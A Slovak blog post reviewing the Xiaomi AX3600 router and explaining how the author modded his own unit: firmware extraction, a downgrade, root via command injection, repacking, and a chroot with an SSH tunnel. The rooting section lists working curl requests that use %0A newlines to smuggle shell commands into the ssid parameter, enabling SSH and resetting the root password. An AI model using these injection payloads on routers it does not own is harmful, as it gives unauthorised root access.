Používanie WiFi routra Xiaomi AX3600

06.11 | 18:03 | Mirecove dristy | Miroslav Bendík

Dnešný článok bude obsahovať malú recenziu routra Xiaomi AX3600 (pst je to sračka, ale nikomu to nehovorte) a pár trikov, ktorými sa z neho môže stať celkom civilizované a použiteľné zariadenie na domácej sieti.

Po zmene internetového providera som potreboval aj nový WiFi router, keďže súčasný bol len zapožičaný. Rozhodol som sa pre Xiaomi AX3600. Na prvý pohľad vyzerá ako obrovský výkonný router. Je obrovský, má 7 nastaviteľných antén na masívnej trojuholníkovej základni.

Na papieri vyzerá všetko v poriadku. Poháňaný je 4-jadovým 64-bitovým ARM CPU taktovaným na 1.4 GHz. Doplnený je 512 MB RAM a 256 MB flash. Router nemá vyvedené USB napriek tomu, že chipset pravdepodobne obsahuje USB 3.1 konrolér. Škoda.

Router podporuje štandard WiFi 6 (ax) so šírkou pásma 160 MHz. Maximálna rýchlosť je 2402 Mbps. Z milých funkcií by som ešte spomenul podporu mesh.

Xiaomi AX3600
Obrázok 1: Xiaomi AX3600

Nie všetko, čo sa blyští …

Vlastný router namiesto prenajatého TP-Linku som chcel kvôli lepšiemu pokrytiu (nechcem v každej miestnosti krabičku, chcem jednú veľkú krabicu na celý veľký dom + záhradu) a vyššej rýchlosti. Aký je teda AX3600? Jedným slovom „Nahovno!“.

Signál je katastrofálne malý a nie som jediný, kto má tento problém. Samozrejme pred kúpou som si prešiel recenzie a nekupoval som mačku vo vreci. O problémoch so signálom som vedel a vedel som aj o tom, že problém je softvérový.

Na stiahnutie

Než sa pustím do vysvetľovania, hodím tu odkazy na 2 firmvéry:

Rozbalenie firmvéru

Na extrakciu firmvéru sa dá použiť nástroj ubi_reader a squashfs-tools. Obrazy sa rozbalia do adresárov international a china.

ubireader_extract_images -o international -w miwifi_r3600_all_6510e_3.0.22_INT.bin
ubireader_extract_images -o china -w miwifi_r3600_firmware_5da25_1.0.17.bin
unsquashfs -d international/root international/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs
unsquashfs -d china/root china/miwifi_r3600_firmware_5da25_1.0.17.bin/img-1696626347_vol-ubi_rootfs.ubifs

Sila signálu

Teraz v adresári s extrahovaným medzinárodným firmvérom môžem spustiť príkaz, ktorý vyhľadá nastavenie výkony WiFi.

cd international/root
grep -rI "txpower" .

Vyhľadávanie nájde súbor /lib/wifi/qcawificfg80211.sh. Dôležitý kód je tu:

if [ "$bdmode" = "24G" ]; then
    max_power=30
    wifitool "$ifname" setUnitTestCmd 67 3 16 1 1
    iwpriv "$ifname" 11ngvhtintop 1
else
    max_power=30
fi
if [ "$bd_country_code" = "EU" ]; then
    if [ "$bdmode" = "24G" ]; then
        max_power=14
    else
        if [ "$channel" -ge 100 ]; then
            max_power=23
        else
            max_power=16
        fi
    fi
    if [ $ifname = "wl2" ]; then
        max_power=13
    fi
fi

Ak je kód dosky "EU" (teda európsky trh), potom je výkon 2.4 GHz limitovaný na 14 dBm. 5GHz je limitovaná na 16 dBm.

Mimo EU je teda maximálny výkon pre obe siete limitovaný na 30 dBm. Teraz trocha matematiky:

1030dBm / 10 = 1000mW

1014dBm / 10 = 25mW

1000mW / 25mW = 40 - maximálny výkon je 1/40 maximálneho výkonu v iných regiónoch

Pre zaujímavosť minimálny výkon mimo EU je 27 dBm = 500 mW - stále 20-násobne vyšší výkon než je maximum pre výkon v EU. Mimochodom ak si niekto chce posťažovať na reguláciu v EU - nie, tak nízke limity tu nemáme. Je to len a len zlá implementácia v Xiaomi.

Downgrade

Slabý signál sa dá jednoducho vyriešiť nahraním starého čínskeho firmvéru. Stačí ho stiahnuť, ísť do administrácie routra vpravo hore cez užívateľské menu vybrať "System update" a "Update manually".

Downgrade
Obrázok 2: Downgrade
Obrázok 3: 3 steny medzi routrom a počítačom

Po „aktualizácii“ je ovládanie routra v čínštine. Našťastie niektoré internetové prehliadače majú vstavaný prekladač, takže stačí povoliť preklad a rozhranie sa stane hneď celkom použiteľným. Upozorňujem na to, že čínsky fimrvér nemá vôbec možnosť zmeniť jazyk.

Ďalším nepríjemným prekvapením je, že router od teraz podporuje len šírku pásma 80 MHz namiesto 160 MHz.

Mnohí používatelia tohto routra ho nechávajú so starým deravým čínskym firvmérom bez podpory 160 MHz pásma. Ja k nim nepatrím, ale k tomu sa dostaneme.

Exploit pre získanie root prístupu na SSH

Router má webové rozhranie napísané v Lue a je založené na projekte luci z OpenWrt.

Binárne lua súbory

Pre ďalší text to nie je dôležité, ale aktuálna verzia firmvéru nahradila zdrojové kódy luci skompilovaným bytekódom. Aby toho nebolo málo, používajú vlastný lua interpret, ktorý má upravený bytekód. Úprava spočíva v poprehadzovaí operačných kódov, čo by sa dalo nazvať jednoduchou substitučnou šifrou. Rozbiť sa dá jednoducho frekvenčnou analýzou. Okrem toho reťazce sú „šifrované“ jednobajtovým xorom gnenerovaným z dĺžka reťazca pomocou vzorca (l * 13 + 55) & 0xff. Blbé, primitívne ale nech sa páči, je to ich vec.

Keby to niekto chcel rozbiť tak tu je jednoduchý skript na konverziu do formátu LuaC. Ak by niekto z toho chcel dostať zdrojáky, potom je dobrým projektom unluac_miwifi. Aktuálne v repozitári nie je návod, ako to skompilovať tak pre istotu tu pridávam príkazy pre kompiláciu unluac.jar:

find ./src/ -type f -name "*.java" -exec javac -cp ./src/ -d ./out/ '{}' +
cd out && jar cfe ../unluac.jar unluac.Main .

Získavame roota

Webové rozhranie beží s právami roota. Postačí teda nájsť zraniteľnosť webového rozhrania, ktorá umožňuje spustiť ľubovoľný kód.

Zdrojové kódy starého webového rozhrania sú pekne v plain texte. Zaujímavý je súbor /usr/lib64/lua/luci/controller/api/misystem.lua, ktorý implementuje Xiaomi API. V ostatných súboroch, ktoré sú prevzaté z OpenWrt neočakávam chyby.

function setConfigIotDev()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local LuciUtil = require("luci.util")
    local result = {
        ["code"] = 0
    }

    local ssid = LuciHttp.formvalue("ssid")
    local bssid = LuciHttp.formvalue("bssid")
    local uid = LuciHttp.formvalue("user_id")

    XQLog.log(debug_level, "ssid = "..ssid)
    XQLog.log(debug_level, "bssid = "..bssid)
    XQLog.log(debug_level, "uid = "..uid)
    if XQFunction.isStrNil(ssid)
        or XQFunction.isStrNil(bssid)
        or XQFunction.isStrNil(uid) then
        result.code = 1523
    end
    if result.code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(result.code)
    else
        XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)
    end
    LuciHttp.write_json(result)
end

A jeje, XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid) volá priamo shell príkaz, pričom nedochádza k žiadnej validácii parametrov. Stačí niekde do parametra pridať nový riadok (%0A) a kód sa vykoná pod rootom! Mimochodom celý firmvér od Xiaomi je deravý ako ementál.

Takže na získanie roota sa dajú použiť tieto príkazy, pričom hodnota STOK je získaná z URL adresy po prihlásení a PASSWORD je želané heslo pre prístup do SSH:

# nvram set ssh_en=1
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20set%20ssh%5Fen%3D1%0A'
# nvram commit
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20commit%0A'
# cp /etc/init.d/dropbear /etc/init.d/dropbear_backup
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Acp%20%2Fetc%2Finit.d%2Fdropbear%20%2Fetc%2Finit.d%2Fdropbear_backup%0A'
# sed -i '/flg_ssh.*release/ { :a; N; /fi/! ba };/return 0/d' /etc/init.d/dropbear
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Ased%20-i%20'%2Fflg_ssh.*release%2F%20%7B%20%3Aa%3B%20N%3B%20%2Ffi%2F!%20ba%20%7D%3B%2Freturn%200%2Fd'%20%2Fetc%2Finit.d%2Fdropbear%0A'
# echo -e “<PASSWORD>/n<PASSWORD>” | passwd root
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27<PASSWORD>%5Cn<PASSWORD>%27%20%7C%20passwd%20root%0A'
# /etc/init.d/dropbear enable
curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20enable%0A'
# /etc/init.d/dropbear start
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=doctor&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A

Po týchto krokoch je možné prihlásiť sa ako root príkazom ssh root@192.168.31.1.

SSH
Obrázok 4: SSH

Upgrade

Nastal čas na upgrade. Najskôr je potrebné vytvoriť si upravený obraz medzinárodného firmvéru nástrojom xqrepack.

ubireader_extract_images -w miwifi_r3600_all_6510e_3.0.22_INT.bin
cd xqrepack
# tento patch nefunguje s novým firmvérom, ale stačilo by upraviť lokácie a mal by fungovať
# ja som na to lenivý
patches/enable-iot-radio.patch
fakeroot -- ./repack-squashfs.sh ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs
./ubinize.sh \
  ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-kernel.ubifs \
  ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs.new

Výsledkom je r3600-raw-img.bin (RAW obraz bez digitálneho podpisu Xiaomi). Tento obraz sa nedá nahrať do zariadenia pomocou webového rozhrania, ale cez SSH to je možné.

scp -O r3600-raw-img.bin root@192.168.31.1:/tmp/r3600-raw-img.bin

Následnej je potrebné prihlásiť sa cez shell a zistiť rozdelenie partícií:

grep rootfs /proc/mtd
mtd12: 023c0000 00020000 "rootfs"
mtd13: 023c0000 00020000 "rootfs_1"
mtd17: 01857000 0001f000 "ubi_rootfs"

Existujú 2 koreňové partície. Zatiaľ čo jedna sa používa, druhú je možné upgradovať.

Príkaz nvram get flag_boot_rootfs zobrazí číslo aktuálne používanej partície. Číslo 0 znamená mtd12 a 1 mtd13. Keď je tam napríklad 1, je možné zapísať do 0, teda /dev/mtd12. Nasleduje flashovanie:

ubiformat /dev/mtd12 -f /tmp/r3600-raw-img.bin -s 2048 -O 2048

a reštart:

nvram set flag_ota_reboot=1
nvram commit
reboot

Po naštartovaní máme opäť medzinárodný firmvér, ale s plným prístupom roota a s možnosťou nastaviť šírku pásma 160 MHz.

WiFi nastavenia
Obrázok 5: WiFi nastavenia
Použitie šírky pásma 160 MHz
Obrázok 6: Použitie šírky pásma 160 MHz

Nastavenie výkonu a zapnutie AIoT

Pre nastavenie stačí zapísať nasledujúci kód do /etc/rc.local:

sleep 60
iwconfig wl0 txpower 25
iwconfig wl1 txpower 25
ifconfig wl2 up

exit 0

Maximálny výkon je cez 30 dBm. Prečo nastavujem 25, čo je necelá tretina výkonu?

Väčšina používateľov automaticky bez rozmýšľania nastaví maximálny výkon. To však vedie niekedy k nechceným situáciám. Je síce fajn mať silný signál, ale treba si uvedomiť, že komunikácia musí byť obojstranná a keď notebook vidí dobrý signál, neznamená, že router zachytí slabší signál notebooku.

Pri maximálnom možnom výkone je pravdepodobné, že sa počítač bude snažiť s routrom komunikovať na frekvencii 5 GHz, ktorá má podstatne menší dosah. Výsledkom je, že počítač zobrazuje dobrú silu signálu, ale odosielanie dát funguje na maximálne pár kB/s. Keby počítač prepol na 2.4 GHz, mohol by normále pracovať ďalej, ale to sa neudeje kvôli príliš dobrému signálu.

Preto nastavujem silu signálu podľa maximálneho výkonu wifi v mojom počítači (22 dBm = 158 mW). Malá asymetria je v poriadku, spôsobí to, že sťahovanie bude fungovať o niečo rýchlejšie než odosielanie, ale príliš veľký rozdiel (nad 3 dB) už môže spôsobovať problémy.

Test rýchlosti

V nasledujúcich grafoch sú testy rýchlosti a signálu pri rôznej vzdialenosti od WiFi routra.

Testy boli vykonané skriptom perform_test.py. Grafy boli vygenerované skriptom analyze.py. Surové štatistiky sú dostupné v súbore by_distance.tar.xz.

V miestnosti s routrom

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Obrázok 7: Štatistiky v miestnosti s routrom

Vo vedľajšej miestnosti (1 stena medzi routrom)

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Obrázok 8: jedna stena medzi routrom a počítačom

Ďaleko (3 steny)

V tomto prípade už rýchlosť výrazne kolíše. Veľký vplyv má okolité rušenie, ale aj to, či niekto stál v ceste signálu, alebo nechal otvorené dvere. V tomto prípade som chcel demonštrovať prakticky najhoršie podmienky v celom dome. Okrem toho ešte zvyknem pracovať na záhrade, čo je síce výraze ďalej, ale bez prekážok okrem jednej steny.

Kvalita signálu Úroveň signálu
Sťahovanie Odosielanie
Obrázok 9: tri steny medzi routrom a počítačom
Finálne umiestnenie
Obrázok 10: Finálne umiestnenie

Inštalácia softvéru a spustenie ďalších služieb

Firmvér je postavený OpenWrt 18.06. Ak by bol súborový systém pripojený na zapisovanie, bola by inštalácia nového softvéru vecou jediného príkazu - opkg install názov-balíka. Tu je však hlavný súborový systém squashfs, ktorý sa jednoducho na zápis nedá pripojiť. V nasledujúcej časti skúsim vysvetliť svoju modifikáciu, ktorou som obišiel obmedzenia.

Čo to bude vedieť

Na svoj router som chcel pridať 2 nové služby. Prvou je iperf3 server, čo je nástroj na testovanie rýchlosti pripojenia.

Druhá služba je SSH tunel. Tu by som len v krátkosti napísal, čo a prečo chcem pretunelovať. Mám doma rádio, ktoré prehráva MP3 stream z internetu. Je to obyčajné ESP32 s pár kB RAM a 3W digitálnym zosilňovačom. Nemyslím tým len D-class zosilňovač, čo je pravdepodobne samo o sebe analógové zariadenie, ale MAX98357A, čo je zosilňovač s digitálnym 32-bitovým 96kHz vstupom. Samotný zosilňovač je malý integrovaný obvod s objemom 0.87 mm3 (hrana o veľkosti cca 1.4 mm).

Výmena wifi

Rádio

V čase stavania som nemal k dispozícii rotačný enkóder, takže som napísal ovládanie hlasitosti len cez HTTP protokol (websockety). Ovládať to chcem cez mobil, ale nechcel som písať natívnu aplikáciu, takže som zvolil progresívnu webovú aplikáciu. Čo čert nechcel, žiaden prehliadač neakceptuje spojenie z progresívnej webovej aplikácie cez čisté HTTP. Všade musí byť HTTPS, čo je problematické z dvoch dôvodov: ESP32 má obmedzený výkon / kapacitu pamäte a nie je možné získať certifikát na lokálnu IP adresu. Ovládanie pretu tunelujem pomocou SSH na externý webserver, ktorý má HTTPS a platný certifikát.

Bežná inštalácia OpenWrt používa ako SSH klienta dropbear. Na vytvorenie stabilného tunelu je však potrebný plnohodnotný OpenSSH klient, takže sa bude musieť nainštalovať.

Plán

Na začiatku som ukázal nástroj vhodný na modifikáciu firmvéru. Doplniť softvér, zostaviť nový firmvér a naflashovať do routra nie je až taký problém, ale nechcel by som to robiť pri každej zmene konfigurácie. Preto použijem niekoľko trikov, ako obísť súborový systém pripojený na čítanie.

Na začiatku som spomenul, že koreňový adresár je read only. Nie je to však jediná partícia. Existuje tu partícia o veľkosti cca 20 MB pripojená ako /userdisk:

ubi1_0                   20.8M      2.7M     17.1M  14% /userdisk

Zároveň nastavenia v /etc sú pripojené na zápis (mimochodom na tej istej partícii, takže tých 20MB je zdieľaných). Okrem toho disponuje router 512MB RAM, čo je dosť na to, aby mohol obsahovať read-write filesystém v RAM.

Trik sa bude skladať z nasledujúcich krokov vykonaných pri každom štarte:

Spustenie

Spustenie všetkých krokov som dal do /etc/rc.local. Jednotlivé kroky sú uložené v /usrdisk s príznakom executable (chmod +x súbor). Sú to súbory /userdisk/make_chroot.sh, /userdisk/install_packages.sh a /userdisk/start_chroot.sh.

Prvý príkaz vytvorí chroot a spúšťa sa preto priamo. Zvyšné 2 príkazy by sa mali spustiť už z prostredia chrootu. Celý kód, ktorý je potrebné pridať do rc.local vyzerá takto:

/userdisk/make_chroot.sh
chroot /tmp/root/ /bin/ash -c "/userdisk/install_packages.sh"
chroot /tmp/root/ /bin/ash -c "/userdisk/start_chroot.sh"

Chroot

Skript make_chroot.sh pre vytvorenie chrootu obsahuje všetky nevyhnutné príkazy, ktoré vytvoria prostredie s možnosťou zapisovať súbory v tmpfs.

#!/bin/ash
cd /tmp
# vytvorenie nevyhnutných adresárov
mkdir root
mkdir upper
mkdir work
# skopírovanie súborov, ktoré prežijú reštart
cp -R /userdisk/chrootdata/* /tmp/upper/
# pripojenie hlavného súborového systému
mount -t overlay overlay  -o lowerdir=/,upperdir=upper,workdir=work root
# pripojenie /proc, /sys, /dev a /userdisk
mount -t proc none /tmp/root/proc/
mount -t sysfs none /tmp/root/sys/
mount --rbind /dev /tmp/root/dev/
mount --rbind /userdisk /tmp/root/userdisk/

Po spustení skriptu je možné prepnúť sa do nového prostredia príkazom chroot /tmp/root. Tu už balíčkovací systém bude fungovať. Presvedčiť sa môžme napríklad príkazom opkg update, ale predtým je potrebné vytvoriť adresár, v ktorom opkg vytvára zámok.

# mkdir -p /var/lock
# opkg update
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_base
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_packages
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_routing
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.sig
Signature check passed.
# opkg install htop
# htop
htop
Obrázok 11: htop

Inštalácia balíkov

Balíky je možné inštalovať z internetu, čo môže byť niekedy nespoľahlivé (napríklad keď router naštartuje počas výpadku servera, alebo počas výpadku providera, alebo providerom dodávaný hardvér bootuje pomalšie). Preto som sa rozhodol uložiť dodatočné balíky do adresára /userdisk/ipk.

Zoznam balíkov je možné nájsť na mirroroch OpenWrt v adresári packages, alebo base. Ja používam konkrétne tieto balíky:

# ls -lh /userdisk/ipk/
-rw-r--r--    1 root     root       50.1K Nov  5 22:25 iperf3_3.11-1_aarch64_cortex-a53.ipk
-rw-r--r--    1 root     root      299.5K Oct 30 16:35 openssh-client_7.7p1-2_aarch64_cortex-a53.ipk

Samotný skript pre inštaláciu /userdisk/install_packages.sh nainštaluje všetky balíky v adresári. Na tomto hardvéri to trvá rádovo desatiny sekundy.

#!/bin/ash
mkdir -p /var/lock
cd /userdisk/ipk/
for file in *.ipk
do
    opkg install $file
done

Štart dodatočných služieb

Nakoniec sa spustí súbor /userdisk/start_chroot.sh. Tu sa spúšťajú služby. Ako som na začiatku písal, je tam vytvorenie SSH tunelu kvôli rádiu postavenému na ESP32 a spustenie iperf3 servera.

#!/bin/ash
esp_radio_forward &
iperf3 -s -D

Problém je, že skript esp_radio_forward neexistuje.

Dodatočné súbory

Súbory, ktoré sa skopírujú automaticky pri vytváraní chrootu som umiestnil do /userdisk/chrootdata. Tu som teda umiestnil skript, ktorý sa stará o spustenie tunela a reštart ak z nejakého dôvodu spadne spojenie. Výsledný súbor /userdisk/chrootdata/usr/bin/esp_radio_forward vyzerá takto:

#!/bin/ash

while true
do
    ssh -N -R <vzdialený port>:<ip rádia>:80 -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes <používateľ>@<server>
    sleep 1
done

Okrem toho je potrebné ešte vytvoriť /userdisk/chrootdata/root/.ssh/known_hosts so povoleným odtlačkom vzdialeného servera a kľúče /userdisk/chrootdata/root/.ssh/id_rsa a /userdisk/chrootdata/root/.ssh/id_rsa.pub pre možnosť pripojenia na server pomocou SSH kľúča bez nutnosti zadávať heslo.

Záver

Po pár úpravách som z hrozného routra kúpeného za smiešnu cenu urobil celkom použiteľné zariadenie. Funguje fajn aj ako WiFi router, aj ako malý jednoduchý proxy server.

Rýchlosť pripojenia vo vedľajšej miestnosti je porovnateľná s gigabitovým ethernetom. Dosť dobrý výsledok ak beriem do úvahy, že sa nemusím trápiť s káblom.

V miestnoti s routrom rýchlosť mierne prevažuje gigabit aj keď teoreticky by to mohlo ísť až na 2.4 Gbit/s. Nie som si istý, či je v tomto prípade brzdou CPU, alebo zlý firmvér WiFi karty, alebo niečo úplne iné.

Pri testoch bežne dochádzalo k zamŕzaniu spojenia, čo som musel riešiť v skripte pre testovanie. Samotný test iperf3 prebehne síce v poriadku, ale okamžite po teste prestane WiFi karta na niekoľko desiatok sekúnd reagovať. Najskôr som z problému podozrieval router, ale po prehľadaní fór som našiel, že ide o známy problém s kartami Intel.

Prílohy

    • RE: Používanie WiFi routra Xiaomi AX3600 06.11 | 21:00
      Avatar Pavel Q4OS KDE  Administrátor

      Uff ty sa musíš neskutočným spôsobom nudiť :-) Vedel si že je to napiip router pred kúpou a aj tak si ho kúpil aby si sa mohol zabávať, ale inak viac než slušný návod.

      • RE: Používanie WiFi routra Xiaomi AX3600 06.11 | 21:49
        Avatar Miroslav Bendík Gentoo  Administrátor

        Vedel som, že jeho problémy sú softvérového charakteru a dajú sa fixnúť. Keby bol v rozumnej cene podobný hardvér s dobrým softvérom, hneď ho beriem :)

    • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 00:23
      Avatar paldopice   Používateľ

      SSH tunel

      Ked toto pocujem, tak sa mi X-ka resetuju! A to poznam cloveka, ktory je schopny pretunelovat si aj 20 portov a potom este vymyslat, ako ich pre-NAT-ovat, aby mu fungovali. Ale ked mu poviem, nech si tam da VPN-ku, tak: Aaa to mi netreba...

      • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 06:44
        Avatar Miroslav Bendík Gentoo  Administrátor

        Aaaha, takže na pretunelovanie 1 portu môžem:

        a) spustiť SSH

        b) nakonfigurovať OpenVPN, dekompilovať časti firmvéru, ktoré generujú pravidlá pre firewall, doplniť pravidlá firewallu tak, bol tunelovaný jediný port (lebo nechcem sprístupniť deravý router potenciálne zraniteľnému serveru), skompilovať zase relevantneé časti firmvéru, profit???

        Keby to bol desktop, v ktorom povedzme ovládam iptables / nftables tak budiž.

        • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 09:07
          Avatar paldopice   Používateľ

          b) nakonfigurovať OpenVPN, dekompilovať časti firmvéru, ktoré generujú pravidlá...

          Uff! Nemam dalsie otazky...

    • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 09:09
      Avatar Richard Antix  Používateľ

      Perfektný blog!

      Takéto blogy dokáže písať (na svete) len pár ľudí a preto som šťastný, že náš Mirec je jedným z nich!

      • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 09:10
        Avatar Miroslav Bendík Gentoo  Administrátor
      • RE: Používanie WiFi routra Xiaomi AX3600 07.11 | 10:34
        Avatar Pavel Q4OS KDE  Administrátor

        A si zober si tú trpezlivosť akú musí mať chlap, ja by som to asi šmaril do koša, toto naozaj obdivujem. Plus energia spracovať blog a zdieľať info, to nie je robota na hodinu, za mňa jednoznačne klobúk dole,,,